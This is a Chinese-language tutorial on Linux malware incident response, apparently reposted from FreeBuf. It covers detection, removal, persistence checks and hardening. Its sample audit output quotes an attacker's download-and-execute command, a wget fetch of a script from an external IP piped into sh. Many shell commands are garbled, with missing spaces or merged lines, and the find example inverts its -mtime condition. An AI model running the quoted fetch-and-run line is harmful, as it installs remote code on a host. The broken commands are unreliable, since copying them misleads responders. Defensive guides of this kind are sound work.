一篇文章说清楚 Linux 应急响应技巧

新闻 Linux
这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。

概述

Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统一的应急响应处理流程。

所以,这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。

处理Linux应急响应主要分为这4个环节:识别现象-> 清除病毒-> 闭环兜底-> 系统加固。

首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。然后定位到具体的病毒进程以及病毒文件,进行清除。

完成前2步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。

将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从Web再次入侵进来。

走完这4个环节,才能算是一个应急响应流程的结束。

一篇文章说清楚 Linux 应急响应技巧

识别现象

第1个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。

系统CPU是否异常

枚举进程,CPU降序排序:top

一篇文章说清楚 Linux 应急响应技巧

CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了。

一篇文章说清楚 Linux 应急响应技巧

是否存在可疑进程

枚举进程命令行:ps -aux

一篇文章说清楚 Linux 应急响应技巧

病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。

一篇文章说清楚 Linux 应急响应技巧

安全网关有无报警

从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。

一篇文章说清楚 Linux 应急响应技巧

监控与目标IP通信的进程:

  1. while truedo netstat -antp | grep [ip]; done  

一篇文章说清楚 Linux 应急响应技巧

有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控。

一篇文章说清楚 Linux 应急响应技巧

我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。

一篇文章说清楚 Linux 应急响应技巧

这样就能得到与之通信的恶意进程了。

一篇文章说清楚 Linux 应急响应技巧

有无可疑历史命令

遍历主机历史命令,查找有无恶意命令:history

一篇文章说清楚 Linux 应急响应技巧

清除病毒

从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。

结束病毒进程

清除可疑进程的进程链:

  1. ps -elf | grep [pid] kill -9 [pid] 

一篇文章说清楚 Linux 应急响应技巧

删除病毒文件

定位病毒进程对应的文件路径:

  1. ls -al /proc/[pid]/exe rm -f [exe_path] 

一篇文章说清楚 Linux 应急响应技巧

闭环兜底

Linux下的病毒持久化驻留方式相比于 Windows 较少,主要以下4种方式。

检查是否存在可疑定时任务

枚举定时任务:crontab-l

一篇文章说清楚 Linux 应急响应技巧

查看anacron异步定时任务:cat/etc/anacrontab

一篇文章说清楚 Linux 应急响应技巧

检查是否存在可疑服务

枚举主机所有服务,查看是否有恶意服务:

  1. service--status-all 

检查系统文件是否被劫持

枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:

  1. find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la 

检查是否存在病毒守护进程

监控守护进程的行为:lsof-p[pid]

一篇文章说清楚 Linux 应急响应技巧

 

  1. strace-tt-T -etrace=all-p$pid 

扫描是否存在恶意驱动

枚举/扫描系统驱动:lsmod

安装chkrootkit进行扫描:

  1. wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit 

安装rkhunter进行扫描:

  1. Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz  
  2. tar -zxvf rkhunter-1.4.4.tar.gz 
  3. cd rkhunter-1.4.4 
  4. ./installer.sh --install 
  5. rkhunter -c 

最后一个环节往往是大家比较容易遗忘的,Linux平台下90%的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为Web安全防护不够,赶紧检查一下。

修改SSH弱密码

查询log主机登陆日志:

  1. grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' 

定位有爆破的源IP:

  1. grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c 

爆破日志的用户名密码:

  1. grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1n";}'|uniq -c|sort -nr 

SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。

添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息:

[1]保存1万条命令:

  1. sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 

[2]在/etc/profile的文件尾部添加如下行数配置信息:

  1. USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'
  2.  
  3. if [ "$USER_IP" = "" ] 
  4.  
  5. then 
  6.  
  7. USER_IP=`hostname` 
  8.  
  9. fi 
  10.  
  11. export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " 
  12.  
  13. shopt -s histappend 
  14.  
  15. export PROMPT_COMMAND="history -a" 

[3]让配置生效:

  1. source /etc/profile 

生成效果:

  1. 762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh 

打上常见Web漏洞补丁

  • structs2系列RCE漏洞
  • thinkphp5.XRCE漏洞
  • Redis未授权访问漏洞
  • ConfluenceRCE漏洞(CVE_2019_3396)
  • DrupalRCE漏洞(CVE-2018-7600)
  • ThinkPHPRCE漏洞(CVE-2019-9082)

结尾

Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于Linux大多作为服务器暴露在公网,且Web应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。

 

 

责任编辑:张燕妮 来源: FreeBuf.com
相关推荐

2022-07-21 21:19:48

元宇宙

2020-04-15 16:34:48

大数据质量标准

2019-11-23 17:27:54

IO开源

2019-12-03 08:22:42

JWTJWSJWE

2020-10-09 08:15:11

JsBridge

2019-11-25 08:25:47

ZooKeeper分布式系统负载均衡

2019-08-22 10:07:37

SSL协议TCP

2017-09-05 08:52:37

Git程序员命令

2022-02-21 09:44:45

Git开源分布式

2023-05-12 08:19:12

Netty程序框架

2021-04-09 08:40:51

网络保险网络安全网络风险

2021-06-30 00:20:12

Hangfire.NET平台

2024-06-25 08:18:55

2019-04-17 15:16:00

Sparkshuffle算法

2024-09-23 05:10:00

微服务CORSSpringBoot

2020-03-02 15:17:37

云原生CNCF容器

2019-09-24 14:19:12

PythonC语言文章

2014-08-08 15:22:20

2021-09-27 09:18:30

ListIterato接口方法

2021-05-18 08:30:42

JavaScript 前端JavaScript时
点赞
收藏

51CTO技术栈公众号